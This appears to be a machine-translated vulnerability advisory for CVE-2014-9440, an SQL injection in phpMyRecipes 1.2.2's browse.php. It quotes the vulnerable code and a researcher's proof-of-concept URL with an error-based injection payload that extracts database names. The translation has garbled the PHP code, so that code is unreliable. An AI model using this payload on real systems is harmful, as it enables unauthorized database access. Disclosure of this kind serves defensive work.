PhpMyRecipes browse. php SQL Injection Vulnerability

PhpMyRecipes browse. php SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
PhpMyRecipes 1.2.2
Description:
CVE (CAN) ID: CVE-2014-9440

PhpMyRecipes is an application for storing and retrieving recipes.

In phpMyRecipes 1.2.2, browse. php has the SQL injection vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary SQL commands through the category parameter.

<* Source: Manish Tanwar
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Manish Tanwar () provides the following test methods:

######################################## ######################################## ##################
# Exploit Title: phpMyRecipes 1.2.2 SQL injection (page browse. php, parameter category)
# Author: Manish Kishan Tanwar
# Download Link: http://prdownloads.sourceforge.net/php-myrecipes/phpMyRecipes-1.2.2.tar.gz? Download
# Date: 23/12/2014
# Discovered at: IndiShell Lab
# Love to: zero cool, Team indishell, Mannu, Viki, Hardeep Singh, and jarriti
# Email: manish.1046@gmail.com
######################################## ######################################## ##################

////////////////////////
/// Overview:
////////////////////////

PhpMyRecipes is a simple application for storing and retrieving recipes.
It uses a web-based interface, for databases of use since SS any system, and a MySQL database backend for storing the recipes.
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
Vulnerability is due to parameter category in browse. php
Parameter category is passing to function GetCategoryNameByID without data filtering and due to it, SQL injection vulnerability is arising.

From line 38 to 56

$ Category = $ _ GET ['category '];
}

$ Session = getsession ();

C_header ("Browse Recipes", "browse ");

# Build a category string
$ Cat = $ category;
$ Catstr = "";
While ($ cat! = 1 ){
If ($ catstr = ""){
$ Catstr = "<a href = \" ". slink (" browse. php? Category = $ cat ")." \ ">". GetCategoryNameByID ($ cat). "</A>". $ catstr;
} Else {
$ Catstr = "<a href = \" ". slink (" browse. php? Category = $ cat ")." \ ">". GetCategoryNameByID ($ cat). "</A>". $ catstr;
}

$ Cat = GetCategoryParentByID ($ cat );
}

////////////////
/// POC ////
///////////////

POC image = http://oi57.tinypic.com/inv3ol.jpg
Payload for extracting database name
Set value of category parameter to 1 and add error based SQL injection payload to url

Http: // 127.0.0.1/pr/browse. php? Category = 1 and (select 1 FROM (select count (*), concat (select distinct concat (0x7e, 0x27, cast (schema_name as char ), 0x27, 0x7e) FROM information_schema.schemata LIMIT 0, 1) FROM information_schema.tables LIMIT 0, 1), floor (rand (0) * 2) x FROM information_schema.tables group by x)

-- = [[Greetz To] = --
######################################## ######################################## ############
# Guru ji zero, code breaker ica, root_dedevil, google_warrior, INX_r0ot, Darkwolf indishell, Baba,
# Silent poison India, Magnum sniper, ethicalnoob Indishell, Reborn India, L0rd Crus4d3r, cool toad,
# Hackuin, Alicks, mike waals, Suriya Prakash, cyber gladiator, Cyber Ace, Golden boy INDIA,
# Ketan Singh, AR, saad abbasi, Minhal Mehdi, AJ bhai ji, Hacking queen, lovetherisk, Bikash Das
######################################## ######################################## #############
-- = [[Love to] = --
# My Father, my Ex Teacher, cold fire hacker, Mannu, ViKi, Ashu bhai ji, Soldier Of God, Bhuppi,
# Mohit, Ffe, Ashish, Shardhanand, Budhaoo, Don (Deepika kaushik)
-- = [[Special Fuck goes to] = --
<3 suriya Cyber Tyson <3

Suggestion:
Vendor patch:

PhpMyRecipes
------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://php-myrecipes.sourceforge.net/

This article permanently updates the link address: